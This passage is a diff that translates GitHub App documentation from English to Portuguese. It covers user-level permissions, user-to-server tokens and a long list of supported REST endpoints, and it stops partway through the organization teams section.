-## Handling a revoked GitHub App authorization
+## Tratar uma autorização revogada do aplicativo GitHub
 
-If a user revokes their authorization of a GitHub App, the app will receive the [`github_app_authorization`](/webhooks/event-payloads/#github_app_authorization) webhook by default. GitHub Apps cannot unsubscribe from this event. {% data reusables.webhooks.authorization_event %}
+Se um usuário revogar sua autorização de um aplicativo GitHub, o aplicativo receberá o webhook [`github_app_authorization`](/webhooks/event-payloads/#github_app_authorization) por padrão. Os aplicativos GitHub não podem cancelar a assinatura deste evento. {% data reusables.webhooks.authorization_event %}
 
-## User-level permissions
+## Permissões no nível do usuário
 
-You can add user-level permissions to your GitHub App to access user resources, such as user emails, that are granted by individual users as part of the [user authorization flow](#identifying-users-on-your-site). User-level permissions differ from [repository and organization-level permissions](/rest/reference/permissions-required-for-github-apps), which are granted at the time of installation on an organization or user account.
+Você pode adicionar permissões de nível de usuário ao seu aplicativo GitHub para acessar os recursos de usuários, como, por exemplo, e-mails de usuários, concedidos por usuários individuais como parte do fluxo de autorização do usuário [](#identifying-users-on-your-site). As permissões de nível de usuário diferem das [permissões do repositório do nível de organização](/rest/reference/permissions-required-for-github-apps), que são concedidas no momento da instalação em uma conta de organização ou usuário.
 
-You can select user-level permissions from within your GitHub App's settings in the **User permissions** section of the **Permissions & webhooks** page. For more information on selecting permissions, see "[Editing a GitHub App's permissions](/apps/managing-github-apps/editing-a-github-app-s-permissions/)."
+Você pode selecionar permissões de nível de usuário nas configurações do seu aplicativo GitHub na seção **Permissões de usuário** na página **Permissões & webhooks**. Para obter mais informações sobre como selecionar permissões, consulte "[Editando permissões de um aplicativo GitHub](/apps/managing-github-apps/editing-a-github-app-s-permissions/)".
 
-When a user installs your app on their account, the installation prompt will list the user-level permissions your app is requesting and explain that the app can ask individual users for these permissions.
+Quando um usuário instala seu aplicativo em sua conta, o prompt de instalação listará as permissões de nível de usuário que seu aplicativo solicita e explicará que o aplicativo pode pedir essas permissões a usuários individuais.
 
-Because user-level permissions are granted on an individual user basis, you can add them to your existing app without prompting users to upgrade. You will, however, need to send existing users through the user authorization flow to authorize the new permission and get a new user-to-server token for these requests.
+Como as permissões de nível de usuário são concedidas em uma base de usuário individual, você poderá adicioná-las ao aplicativo existente sem pedir que os usuários façam a atualização. No entanto, você precisa enviar usuários existentes através do fluxo de autorização do usuário para autorizar a nova permissão e obter um novo token de usuário para servidor para essas solicitações.
 
-## User-to-server requests
+## Solicitações de usuário para servidor
 
-While most of your API interaction should occur using your server-to-server installation access tokens, certain endpoints allow you to perform actions via the API using a user access token. Your app can make the following requests using [GraphQL v4]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql) or [REST v3](/rest) endpoints.
+Embora a maior parte da interação da sua API deva ocorrer usando os tokens de acesso de servidor para servidor, certos pontos de extremidade permitem que você execute ações por meio da API usando um token de acesso do usuário. Seu aplicativo pode fazer as seguintes solicitações usando pontos de extremidade do [GraphQL v4]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql) ou [REST v3](/rest).
 
-### Supported endpoints
+### Pontos de extremidade compatíveis
 
 {% ifversion fpt or ghec %}
-#### Actions Runners
+#### Executores de ações
 
-* [List runner applications for a repository](/rest/reference/actions#list-runner-applications-for-a-repository)
-* [List self-hosted runners for a repository](/rest/reference/actions#list-self-hosted-runners-for-a-repository)
-* [Get a self-hosted runner for a repository](/rest/reference/actions#get-a-self-hosted-runner-for-a-repository)
-* [Delete a self-hosted runner from a repository](/rest/reference/actions#delete-a-self-hosted-runner-from-a-repository)
-* [Create a registration token for a repository](/rest/reference/actions#create-a-registration-token-for-a-repository)
-* [Create a remove token for a repository](/rest/reference/actions#create-a-remove-token-for-a-repository)
-* [List runner applications for an organization](/rest/reference/actions#list-runner-applications-for-an-organization)
-* [List self-hosted runners for an organization](/rest/reference/actions#list-self-hosted-runners-for-an-organization)
-* [Get a self-hosted runner for an organization](/rest/reference/actions#get-a-self-hosted-runner-for-an-organization)
-* [Delete a self-hosted runner from an organization](/rest/reference/actions#delete-a-self-hosted-runner-from-an-organization)
-* [Create a registration token for an organization](/rest/reference/actions#create-a-registration-token-for-an-organization)
-* [Create a remove token for an organization](/rest/reference/actions#create-a-remove-token-for-an-organization)
+* [Listar aplicativos executores para um repositório](/rest/reference/actions#list-runner-applications-for-a-repository)
+* [Listar executores auto-hospedados para um repositório](/rest/reference/actions#list-self-hosted-runners-for-a-repository)
+* [Obter um executor auto-hospedado para um repositório](/rest/reference/actions#get-a-self-hosted-runner-for-a-repository)
+* [Excluir um executor auto-hospedado de um repositório](/rest/reference/actions#delete-a-self-hosted-runner-from-a-repository)
+* [Criar um token de registro para um repositório](/rest/reference/actions#create-a-registration-token-for-a-repository)
+* [Criar um token de remoção para um repositório](/rest/reference/actions#create-a-remove-token-for-a-repository)
+* [Listar aplicativos executores para uma organização](/rest/reference/actions#list-runner-applications-for-an-organization)
+* [Listar executores auto-hospedados para uma organização](/rest/reference/actions#list-self-hosted-runners-for-an-organization)
+* [Obter um executor auto-hospedado para uma organização](/rest/reference/actions#get-a-self-hosted-runner-for-an-organization)
+* [Excluir um executor auto-hospedado de uma organização](/rest/reference/actions#delete-a-self-hosted-runner-from-an-organization)
+* [Criar um token de registro para uma organização](/rest/reference/actions#create-a-registration-token-for-an-organization)
+* [Criar um token de remoção para uma organização](/rest/reference/actions#create-a-remove-token-for-an-organization)
 
-#### Actions Secrets
+#### Segredos de ações
 
-* [Get a repository public key](/rest/reference/actions#get-a-repository-public-key)
-* [List repository secrets](/rest/reference/actions#list-repository-secrets)
-* [Get a repository secret](/rest/reference/actions#get-a-repository-secret)
-* [Create or update a repository secret](/rest/reference/actions#create-or-update-a-repository-secret)
-* [Delete a repository secret](/rest/reference/actions#delete-a-repository-secret)
-* [Get an organization public key](/rest/reference/actions#get-an-organization-public-key)
-* [List organization secrets](/rest/reference/actions#list-organization-secrets)
-* [Get an organization secret](/rest/reference/actions#get-an-organization-secret)
-* [Create or update an organization secret](/rest/reference/actions#create-or-update-an-organization-secret)
-* [List selected repositories for an organization secret](/rest/reference/actions#list-selected-repositories-for-an-organization-secret)
-* [Set selected repositories for an organization secret](/rest/reference/actions#set-selected-repositories-for-an-organization-secret)
-* [Add selected repository to an organization secret](/rest/reference/actions#add-selected-repository-to-an-organization-secret)
-* [Remove selected repository from an organization secret](/rest/reference/actions#remove-selected-repository-from-an-organization-secret)
-* [Delete an organization secret](/rest/reference/actions#delete-an-organization-secret)
+* [Obter uma chave pública do repositório](/rest/reference/actions#get-a-repository-public-key)
+* [Listar segredos do repositório](/rest/reference/actions#list-repository-secrets)
+* [Obter um segredo do repositório](/rest/reference/actions#get-a-repository-secret)
+* [Criar ou atualizar o segredo de um repositório](/rest/reference/actions#create-or-update-a-repository-secret)
+* [Excluir o segredo de um repositório](/rest/reference/actions#delete-a-repository-secret)
+* [Obter chave pública de uma organização](/rest/reference/actions#get-an-organization-public-key)
+* [Listar segredos da organização](/rest/reference/actions#list-organization-secrets)
+* [Obter segredo de uma organização](/rest/reference/actions#get-an-organization-secret)
+* [Criar ou atualizar o segredo de uma organização](/rest/reference/actions#create-or-update-an-organization-secret)
+* [Listar repositórios selecionados para o segredo de uma organização](/rest/reference/actions#list-selected-repositories-for-an-organization-secret)
+* [Definir repositórios selecionados para o segredo de uma organização](/rest/reference/actions#set-selected-repositories-for-an-organization-secret)
+* [Adicionar o repositório selecionado ao segredo de uma organização](/rest/reference/actions#add-selected-repository-to-an-organization-secret)
+* [Remover o repositório selecionado do segredo de uma organização](/rest/reference/actions#remove-selected-repository-from-an-organization-secret)
+* [Excluir o segredo de uma organização](/rest/reference/actions#delete-an-organization-secret)
 {% endif %}
 
 {% ifversion fpt or ghec %}
-#### Artifacts
+#### Artefatos
 
-* [List artifacts for a repository](/rest/reference/actions#list-artifacts-for-a-repository)
-* [List workflow run artifacts](/rest/reference/actions#list-workflow-run-artifacts)
-* [Get an artifact](/rest/reference/actions#get-an-artifact)
-* [Delete an artifact](/rest/reference/actions#delete-an-artifact)
-* [Download an artifact](/rest/reference/actions#download-an-artifact)
+* [Listar artefatos para um repositório](/rest/reference/actions#list-artifacts-for-a-repository)
+* [Listar artefatos executados por fluxo de trabalho](/rest/reference/actions#list-workflow-run-artifacts)
+* [Obter um artefato](/rest/reference/actions#get-an-artifact)
+* [Excluir um artefato](/rest/reference/actions#delete-an-artifact)
+* [Fazer o download de um artefato](/rest/reference/actions#download-an-artifact)
 {% endif %}
 
-#### Check Runs
+#### Execuções de verificação
 
-* [Create a check run](/rest/reference/checks#create-a-check-run)
-* [Get a check run](/rest/reference/checks#get-a-check-run)
-* [Update a check run](/rest/reference/checks#update-a-check-run)
-* [List check run annotations](/rest/reference/checks#list-check-run-annotations)
-* [List check runs in a check suite](/rest/reference/checks#list-check-runs-in-a-check-suite)
-* [List check runs for a Git reference](/rest/reference/checks#list-check-runs-for-a-git-reference)
+* [Criar uma verificação de execução](/rest/reference/checks#create-a-check-run)
+* [Obter uma verificação de execução](/rest/reference/checks#get-a-check-run)
+* [Atualizar uma execução de verificação](/rest/reference/checks#update-a-check-run)
+* [Listar anotações de execução de verificação](/rest/reference/checks#list-check-run-annotations)
+* [Listar execuções de verificações em um conjunto de verificações](/rest/reference/checks#list-check-runs-in-a-check-suite)
+* [Listar execuções de verificação para uma referência do GIt](/rest/reference/checks#list-check-runs-for-a-git-reference)
 
-#### Check Suites
+#### conjuntos de verificações
 
-* [Create a check suite](/rest/reference/checks#create-a-check-suite)
-* [Get a check suite](/rest/reference/checks#get-a-check-suite)
-* [Rerequest a check suite](/rest/reference/checks#rerequest-a-check-suite)
-* [Update repository preferences for check suites](/rest/reference/checks#update-repository-preferences-for-check-suites)
-* [List check suites for a Git reference](/rest/reference/checks#list-check-suites-for-a-git-reference)
+* [Criar um conjunto de verificações](/rest/reference/checks#create-a-check-suite)
+* [Obter um conjunto de verificações](/rest/reference/checks#get-a-check-suite)
+* [Ressolicitar um conjunto de verificação](/rest/reference/checks#rerequest-a-check-suite)
+* [Atualizar preferências do repositório para conjuntos de verificações](/rest/reference/checks#update-repository-preferences-for-check-suites)
+* [Listar os conjuntos de verificação para uma referência do Git](/rest/reference/checks#list-check-suites-for-a-git-reference)
 
-#### Codes Of Conduct
+#### Códigos de conduta
 
-* [Get all codes of conduct](/rest/reference/codes-of-conduct#get-all-codes-of-conduct)
-* [Get a code of conduct](/rest/reference/codes-of-conduct#get-a-code-of-conduct)
+* [Obter todos os códigos de conduta](/rest/reference/codes-of-conduct#get-all-codes-of-conduct)
+* [Obter um código de conduta](/rest/reference/codes-of-conduct#get-a-code-of-conduct)
 
-#### Deployment Statuses
+#### Status da implementação
 
-* [List deployment statuses](/rest/reference/deployments#list-deployment-statuses)
-* [Create a deployment status](/rest/reference/deployments#create-a-deployment-status)
-* [Get a deployment status](/rest/reference/deployments#get-a-deployment-status)
+* [Listar status de implementação](/rest/reference/deployments#list-deployment-statuses)
+* [Criar um status de implementação](/rest/reference/deployments#create-a-deployment-status)
+* [Obter um status de implementação](/rest/reference/deployments#get-a-deployment-status)
 
-#### Deployments
+#### Implantações
 
-* [List deployments](/rest/reference/deployments#list-deployments)
-* [Create a deployment](/rest/reference/deployments#create-a-deployment)
-* [Get a deployment](/rest/reference/deployments#get-a-deployment){% ifversion fpt or ghes or ghae or ghec %}
-* [Delete a deployment](/rest/reference/deployments#delete-a-deployment){% endif %}
+* [Listar implementações](/rest/reference/deployments#list-deployments)
+* [Criar uma implementação](/rest/reference/deployments#create-a-deployment)
+* [Obter uma implementação](/rest/reference/deployments#get-a-deployment){% ifversion fpt or ghes or ghae or ghec %}
+* [Excluir um deploy](/rest/reference/deployments#delete-a-deployment){% endif %}
 
-#### Events
+#### Eventos
 
-* [List public events for a network of repositories](/rest/reference/activity#list-public-events-for-a-network-of-repositories)
-* [List public organization events](/rest/reference/activity#list-public-organization-events)
+* [Listar eventos públicos de uma rede de repositórios](/rest/reference/activity#list-public-events-for-a-network-of-repositories)
+* [Listar eventos públicos da organização](/rest/reference/activity#list-public-organization-events)
 
 #### Feeds
 
-* [Get feeds](/rest/reference/activity#get-feeds)
+* [Obter feeds](/rest/reference/activity#get-feeds)
 
-#### Git Blobs
+#### Blobs do Git
 
-* [Create a blob](/rest/reference/git#create-a-blob)
-* [Get a blob](/rest/reference/git#get-a-blob)
+* [Criar um blob](/rest/reference/git#create-a-blob)
+* [Obter um blob](/rest/reference/git#get-a-blob)
 
-#### Git Commits
+#### Commits do Git
 
-* [Create a commit](/rest/reference/git#create-a-commit)
-* [Get a commit](/rest/reference/git#get-a-commit)
+* [Criar um commit](/rest/reference/git#create-a-commit)
+* [Obter um commit](/rest/reference/git#get-a-commit)
 
-#### Git Refs
+#### Refs do Git
 
-* [Create a reference](/rest/reference/git#create-a-reference)* [Get a reference](/rest/reference/git#get-a-reference)
-* [List matching references](/rest/reference/git#list-matching-references)
-* [Update a reference](/rest/reference/git#update-a-reference)
-* [Delete a reference](/rest/reference/git#delete-a-reference)
+* [Criar uma referência](/rest/reference/git#create-a-reference)* [Obter uma referência](/rest/reference/git#get-a-reference)
+* [Lista de referências correspondentes](/rest/reference/git#list-matching-references)
+* [Atualizar uma referência](/rest/reference/git#update-a-reference)
+* [Excluir uma referência](/rest/reference/git#delete-a-reference)
 
-#### Git Tags
+#### Tags do Git
 
-* [Create a tag object](/rest/reference/git#create-a-tag-object)
-* [Get a tag](/rest/reference/git#get-a-tag)
+* [Criar um objeto de tag](/rest/reference/git#create-a-tag-object)
+* [Obter uma tag](/rest/reference/git#get-a-tag)
 
-#### Git Trees
+#### Árvores do Git
 
-* [Create a tree](/rest/reference/git#create-a-tree)
-* [Get a tree](/rest/reference/git#get-a-tree)
+* [Criar uma árvore](/rest/reference/git#create-a-tree)
+* [Obter uma árvore](/rest/reference/git#get-a-tree)
 
-#### Gitignore Templates
+#### Modelos do Gitignore
 
-* [Get all gitignore templates](/rest/reference/gitignore#get-all-gitignore-templates)
-* [Get a gitignore template](/rest/reference/gitignore#get-a-gitignore-template)
+* [Obter todos os modelos do gitignore](/rest/reference/gitignore#get-all-gitignore-templates)
+* [Obter um modelo do gitignore](/rest/reference/gitignore#get-a-gitignore-template)
 
-#### Installations
+#### Instalações
 
-* [List repositories accessible to the user access token](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token)
+* [Listar repositórios acessíveis ao token de acesso do usuário](/rest/reference/apps#list-repositories-accessible-to-the-user-access-token)
 
 {% ifversion fpt or ghec %}
-#### Interaction Limits
+#### Limites de interação
 
-* [Get interaction restrictions for an organization](/rest/reference/interactions#get-interaction-restrictions-for-an-organization)
-* [Set interaction restrictions for an organization](/rest/reference/interactions#set-interaction-restrictions-for-an-organization)
-* [Remove interaction restrictions for an organization](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization)
-* [Get interaction restrictions for a repository](/rest/reference/interactions#get-interaction-restrictions-for-a-repository)
-* [Set interaction restrictions for a repository](/rest/reference/interactions#set-interaction-restrictions-for-a-repository)
-* [Remove interaction restrictions for a repository](/rest/reference/interactions#remove-interaction-restrictions-for-a-repository)
+* [Obter restrições de interação para uma organização](/rest/reference/interactions#get-interaction-restrictions-for-an-organization)
+* [Definir restrições de interação para uma organização](/rest/reference/interactions#set-interaction-restrictions-for-an-organization)
+* [Remover restrições de interação para uma organização](/rest/reference/interactions#remove-interaction-restrictions-for-an-organization)
+* [Obter restrições de interação para um repositório](/rest/reference/interactions#get-interaction-restrictions-for-a-repository)
+* [Definir restrições de interação para um repositório](/rest/reference/interactions#set-interaction-restrictions-for-a-repository)
+* [Remover restrições de interação para um repositório](/rest/reference/interactions#remove-interaction-restrictions-for-a-repository)
 {% endif %}
 
-#### Issue Assignees
+#### Responsáveis pelo problema
 
-* [Add assignees to an issue](/rest/reference/issues#add-assignees-to-an-issue)
-* [Remove assignees from an issue](/rest/reference/issues#remove-assignees-from-an-issue)
+* [Adicionar responsáveis a um problema](/rest/reference/issues#add-assignees-to-an-issue)
+* [Remover responsáveis de um problema](/rest/reference/issues#remove-assignees-from-an-issue)
 
-#### Issue Comments
+#### Comentários do problema
 
-* [List issue comments](/rest/reference/issues#list-issue-comments)
-* [Create an issue comment](/rest/reference/issues#create-an-issue-comment)
-* [List issue comments for a repository](/rest/reference/issues#list-issue-comments-for-a-repository)
-* [Get an issue comment](/rest/reference/issues#get-an-issue-comment)
-* [Update an issue comment](/rest/reference/issues#update-an-issue-comment)
-* [Delete an issue comment](/rest/reference/issues#delete-an-issue-comment)
+* [Listar comentários do problema](/rest/reference/issues#list-issue-comments)
+* [Criar um comentário do problema](/rest/reference/issues#create-an-issue-comment)
+* [Listar comentários de problemas para um repositório](/rest/reference/issues#list-issue-comments-for-a-repository)
+* [Obter um comentário do issue](/rest/reference/issues#get-an-issue-comment)
+* [Atualizar um comentário do problema](/rest/reference/issues#update-an-issue-comment)
+* [Excluir comentário do problema](/rest/reference/issues#delete-an-issue-comment)
 
-#### Issue Events
+#### Eventos do problema
 
-* [List issue events](/rest/reference/issues#list-issue-events)
+* [Listar eventos do problema](/rest/reference/issues#list-issue-events)
 
-#### Issue Timeline
+#### Linha do tempo do problema
 
-* [List timeline events for an issue](/rest/reference/issues#list-timeline-events-for-an-issue)
+* [Listar eventos da linha do tempo para um problema](/rest/reference/issues#list-timeline-events-for-an-issue)
 
-#### Issues
+#### Problemas
 
-* [List issues assigned to the authenticated user](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)
-* [List assignees](/rest/reference/issues#list-assignees)
-* [Check if a user can be assigned](/rest/reference/issues#check-if-a-user-can-be-assigned)
-* [List repository issues](/rest/reference/issues#list-repository-issues)
-* [Create an issue](/rest/reference/issues#create-an-issue)
-* [Get an issue](/rest/reference/issues#get-an-issue)
-* [Update an issue](/rest/reference/issues#update-an-issue)
-* [Lock an issue](/rest/reference/issues#lock-an-issue)
-* [Unlock an issue](/rest/reference/issues#unlock-an-issue)
+* [Listar problemas atribuídos ao usuário autenticado](/rest/reference/issues#list-issues-assigned-to-the-authenticated-user)
+* [Listar responsáveis](/rest/reference/issues#list-assignees)
+* [Verificar se um usuário pode ser atribuído](/rest/reference/issues#check-if-a-user-can-be-assigned)
+* [Listar problemas do repositório](/rest/reference/issues#list-repository-issues)
+* [Cria um problema](/rest/reference/issues#create-an-issue)
+* [Obter um problema](/rest/reference/issues#get-an-issue)
+* [Atualizar um problema](/rest/reference/issues#update-an-issue)
+* [Bloquear um problema](/rest/reference/issues#lock-an-issue)
+* [Desbloquear um problema](/rest/reference/issues#unlock-an-issue)
 
 {% ifversion fpt or ghec %}
-#### Jobs
+#### Trabalhos
 
-* [Get a job for a workflow run](/rest/reference/actions#get-a-job-for-a-workflow-run)
-* [Download job logs for a workflow run](/rest/reference/actions#download-job-logs-for-a-workflow-run)
-* [List jobs for a workflow run](/rest/reference/actions#list-jobs-for-a-workflow-run)
+* [Obter um trabalho para uma execução de fluxo de trabalho](/rest/reference/actions#get-a-job-for-a-workflow-run)
+* [Fazer o download dos registros de trabalho para execução de um fluxo de trabalho](/rest/reference/actions#download-job-logs-for-a-workflow-run)
+* [Listar tarefas para execução de um fluxo de trabalho](/rest/reference/actions#list-jobs-for-a-workflow-run)
 {% endif %}
 
-#### Labels
+#### Etiquetas
 
-* [List labels for an issue](/rest/reference/issues#list-labels-for-an-issue)
-* [Add labels to an issue](/rest/reference/issues#add-labels-to-an-issue)
-* [Set labels for an issue](/rest/reference/issues#set-labels-for-an-issue)
-* [Remove all labels from an issue](/rest/reference/issues#remove-all-labels-from-an-issue)
-* [Remove a label from an issue](/rest/reference/issues#remove-a-label-from-an-issue)
-* [List labels for a repository](/rest/reference/issues#list-labels-for-a-repository)
-* [Create a label](/rest/reference/issues#create-a-label)
-* [Get a label](/rest/reference/issues#get-a-label)
-* [Update a label](/rest/reference/issues#update-a-label)
-* [Delete a label](/rest/reference/issues#delete-a-label)
-* [Get labels for every issue in a milestone](/rest/reference/issues#list-labels-for-issues-in-a-milestone)
+* [Listar etiquetas para um problema](/rest/reference/issues#list-labels-for-an-issue)
+* [Adicionar etiquetas a um problema](/rest/reference/issues#add-labels-to-an-issue)
+* [Definir etiquetas para um problema](/rest/reference/issues#set-labels-for-an-issue)
+* [Remover todas as etiquetas de um problema](/rest/reference/issues#remove-all-labels-from-an-issue)
+* [Remover uma etiqueta de um problema](/rest/reference/issues#remove-a-label-from-an-issue)
+* [Listar etiquetas para um repositório](/rest/reference/issues#list-labels-for-a-repository)
+* [Criar uma etiqueta](/rest/reference/issues#create-a-label)
+* [Obter uma etiqueta](/rest/reference/issues#get-a-label)
+* [Atualizar uma etiqueta](/rest/reference/issues#update-a-label)
+* [Excluir uma etiqueta](/rest/reference/issues#delete-a-label)
+* [Obter etiquetas para cada problema em um marco](/rest/reference/issues#list-labels-for-issues-in-a-milestone)
 
-#### Licenses
+#### Licenças
 
-* [Get all commonly used licenses](/rest/reference/licenses#get-all-commonly-used-licenses)
-* [Get a license](/rest/reference/licenses#get-a-license)
+* [Obter todas as licenças comumente usadas](/rest/reference/licenses#get-all-commonly-used-licenses)
+* [Obtenha uma licença](/rest/reference/licenses#get-a-license)
 
-#### Markdown
+#### markdown
 
-* [Render a Markdown document](/rest/reference/markdown#render-a-markdown-document)
-* [Render a markdown document in raw mode](/rest/reference/markdown#render-a-markdown-document-in-raw-mode)
+* [Renderizar um documento markdown](/rest/reference/markdown#render-a-markdown-document)
+* [Renderizar um documento markdown no modo bruto](/rest/reference/markdown#render-a-markdown-document-in-raw-mode)
 
 #### Meta
 
 * [Meta](/rest/reference/meta#meta)
 
-#### Milestones
+#### Marcos
 
-* [List milestones](/rest/reference/issues#list-milestones)
-* [Create a milestone](/rest/reference/issues#create-a-milestone)
-* [Get a milestone](/rest/reference/issues#get-a-milestone)
-* [Update a milestone](/rest/reference/issues#update-a-milestone)
-* [Delete a milestone](/rest/reference/issues#delete-a-milestone)
+* [Listar marcos](/rest/reference/issues#list-milestones)
+* [Criar um marco](/rest/reference/issues#create-a-milestone)
+* [Obter um marco](/rest/reference/issues#get-a-milestone)
+* [Atualizar um marco](/rest/reference/issues#update-a-milestone)
+* [Excluir um marco](/rest/reference/issues#delete-a-milestone)
 
-#### Organization Hooks
+#### Hooks da organização
 
-* [List organization webhooks](/rest/reference/orgs#webhooks/#list-organization-webhooks)
-* [Create an organization webhook](/rest/reference/orgs#webhooks/#create-an-organization-webhook)
-* [Get an organization webhook](/rest/reference/orgs#webhooks/#get-an-organization-webhook)
-* [Update an organization webhook](/rest/reference/orgs#webhooks/#update-an-organization-webhook)
-* [Delete an organization webhook](/rest/reference/orgs#webhooks/#delete-an-organization-webhook)
-* [Ping an organization webhook](/rest/reference/orgs#webhooks/#ping-an-organization-webhook)
+* [Listar webhooks da organização](/rest/reference/orgs#webhooks/#list-organization-webhooks)
+* [Criar um webhook da organização](/rest/reference/orgs#webhooks/#create-an-organization-webhook)
+* [Obter um webhook da organização](/rest/reference/orgs#webhooks/#get-an-organization-webhook)
+* [Atualizar um webhook da organização](/rest/reference/orgs#webhooks/#update-an-organization-webhook)
+* [Excluir um webhook da organização](/rest/reference/orgs#webhooks/#delete-an-organization-webhook)
+* [Consultar um webhook da organização](/rest/reference/orgs#webhooks/#ping-an-organization-webhook)
 
 {% ifversion fpt or ghec %}
-#### Organization Invitations
+#### Convites da organização
 
-* [List pending organization invitations](/rest/reference/orgs#list-pending-organization-invitations)
-* [Create an organization invitation](/rest/reference/orgs#create-an-organization-invitation)
-* [List organization invitation teams](/rest/reference/orgs#list-organization-invitation-teams)
+* [Listar convites pendentes para organizações](/rest/reference/orgs#list-pending-organization-invitations)
+* [Criar um convite de organização](/rest/reference/orgs#create-an-organization-invitation)
+* [Listar equipes de convite da organização](/rest/reference/orgs#list-organization-invitation-teams)
 {% endif %}
 
-#### Organization Members
+#### Integrantes da organização
 
-* [List organization members](/rest/reference/orgs#list-organization-members)
-* [Check organization membership for a user](/rest/reference/orgs#check-organization-membership-for-a-user)
-* [Remove an organization member](/rest/reference/orgs#remove-an-organization-member)
-* [Get organization membership for a user](/rest/reference/orgs#get-organization-membership-for-a-user)
-* [Set organization membership for a user](/rest/reference/orgs#set-organization-membership-for-a-user)
-* [Remove organization membership for a user](/rest/reference/orgs#remove-organization-membership-for-a-user)
-* [List public organization members](/rest/reference/orgs#list-public-organization-members)
-* [Check public organization membership for a user](/rest/reference/orgs#check-public-organization-membership-for-a-user)
-* [Set public organization membership for the authenticated user](/rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user)
-* [Remove public organization membership for the authenticated user](/rest/reference/orgs#remove-public-organization-membership-for-the-authenticated-user)
+* [Listar integrantes da organização](/rest/reference/orgs#list-organization-members)
+* [Verificar associação da organização para um usuário](/rest/reference/orgs#check-organization-membership-for-a-user)
+* [Remover um membro da organização](/rest/reference/orgs#remove-an-organization-member)
+* [Obter a associação de uma organização para um usuário](/rest/reference/orgs#get-organization-membership-for-a-user)
+* [Definir associação de organização para um usuário](/rest/reference/orgs#set-organization-membership-for-a-user)
+* [Remover associação de organização para um usuário](/rest/reference/orgs#remove-organization-membership-for-a-user)
+* [Listar membros públicos da organização](/rest/reference/orgs#list-public-organization-members)
+* [Verificar a associação da organização pública para um usuário](/rest/reference/orgs#check-public-organization-membership-for-a-user)
+* [Definir associação à organização pública para o usuário autenticado](/rest/reference/orgs#set-public-organization-membership-for-the-authenticated-user)
+* [Remover associação à organização pública para o usuário autenticado](/rest/reference/orgs#remove-public-organization-membership-for-the-authenticated-user)
 
-#### Organization Outside Collaborators
+#### Colaboradores externos da organização
 
-* [List outside collaborators for an organization](/rest/reference/orgs#list-outside-collaborators-for-an-organization)
-* [Convert an organization member to outside collaborator](/rest/reference/orgs#convert-an-organization-member-to-outside-collaborator)
-* [Remove outside collaborator from an organization](/rest/reference/orgs#remove-outside-collaborator-from-an-organization)
+* [Listar colaboradores externos para uma organização](/rest/reference/orgs#list-outside-collaborators-for-an-organization)
+* [Converter um integrante da organização em colaborador externo](/rest/reference/orgs#convert-an-organization-member-to-outside-collaborator)
+* [Remover colaboradores externos de uma organização](/rest/reference/orgs#remove-outside-collaborator-from-an-organization)
 
 {% ifversion ghes %}
-#### Organization Pre Receive Hooks
+#### Hooks pre-receive da organização
 
-* [List pre-receive hooks for an organization](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization)
-* [Get a pre-receive hook for an organization](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization)
-* [Update pre-receive hook enforcement for an organization](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-an-organization)
-* [Remove pre-receive hook enforcement for an organization](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization)
+* [Listar hooks pre-receive para uma organização](/enterprise/user/rest/reference/enterprise-admin#list-pre-receive-hooks-for-an-organization)
+* [Obter um hook pre-receive para uma organização](/enterprise/user/rest/reference/enterprise-admin#get-a-pre-receive-hook-for-an-organization)
+* [Atualizar a aplicação do hook pre-receive para uma organização](/enterprise/user/rest/reference/enterprise-admin#update-pre-receive-hook-enforcement-for-an-organization)
+* [Remover a aplicação do hook pre-receive para uma organização](/enterprise/user/rest/reference/enterprise-admin#remove-pre-receive-hook-enforcement-for-an-organization)
 {% endif %}
 
 {% ifversion fpt or ghes or ghae or ghec %}
-#### Organization Team Projects
+#### Projetos da aquipe da organização
 
-* [List team projects](/rest/reference/teams#list-team-projects)
-* [Check team permissions for a project](/rest/reference/teams#check-team-permissions-for-a-project)
-* [Add or update team project permissions](/rest/reference/teams#add-or-update-team-project-permissions)
-* [Remove a project from a team](/rest/reference/teams#remove-a-project-from-a-team)
+* [Listar projetos da equipe](/rest/reference/teams#list-team-projects)
+* [Verificar permissões da equipe para um projeto](/rest/reference/teams#check-team-permissions-for-a-project)
+* [Adicionar ou atualizar as permissões do projeto da equipe](/rest/reference/teams#add-or-update-team-project-permissions)
+* [Remover um projeto de uma equipe](/rest/reference/teams#remove-a-project-from-a-team)
 {% endif %}
 
-#### Organization Team Repositories
+#### Repositórios da equipe da organização
 
-* [List team repositories](/rest/reference/teams#list-team-repositories)
-* [Check team permissions for a repository](/rest/reference/teams#check-team-permissions-for-a-repository)
-* [Add or update team repository permissions](/rest/reference/teams#add-or-update-team-repository-permissions)
-* [Remove a repository from a team](/rest/reference/teams#remove-a-repository-from-a-team)
+* [Listar repositórios da equipe](/rest/reference/teams#list-team-repositories)
+* [Verificar permissões da equipe para um repositório](/rest/reference/teams#check-team-permissions-for-a-repository)
+* [Adicionar ou atualizar as permissões do repositório da equipe](/rest/reference/teams#add-or-update-team-repository-permissions)
+* [Remover um repositório de uma equipe](/rest/reference/teams#remove-a-repository-from-a-team)
 
 {% ifversion fpt or ghec %}
-#### Organization Team Sync
+#### Sincronizar equipe da organização
 
-* [List idp groups for a team](/rest/reference/teams#list-idp-groups-for-a-team)
-* [Create or update idp group connections](/rest/reference/teams#create-or-update-idp-group-connections)
-* [List IdP groups for an organization](/rest/reference/teams#list-idp-groups-for-an-organization)
+* [Listar grupos de idp para uma equipe](/rest/reference/teams#list-idp-groups-for-a-team)
+* [Criar ou atualizar conexões do grupo de idp](/rest/reference/teams#create-or-update-idp-group-connections)
+* [Listar grupos de IdP para uma organização](/rest/reference/teams#list-idp-groups-for-an-organization)
 {% endif %}
 
-#### Organization Teams
+#### Equipes da organização
 
-* [List teams](/rest/reference/teams#list-teams)
-* [Create a team](/rest/reference/teams#create-a-team)
-* [Get a team by name](/rest/reference/teams#get-a-team-by-name)
-* [Update a team](/rest/reference/teams#update-a-team)
-* [Delete a team](/rest/reference/teams#delete-a-team)
+* [Listar equipes](/rest/reference/teams#list-teams)
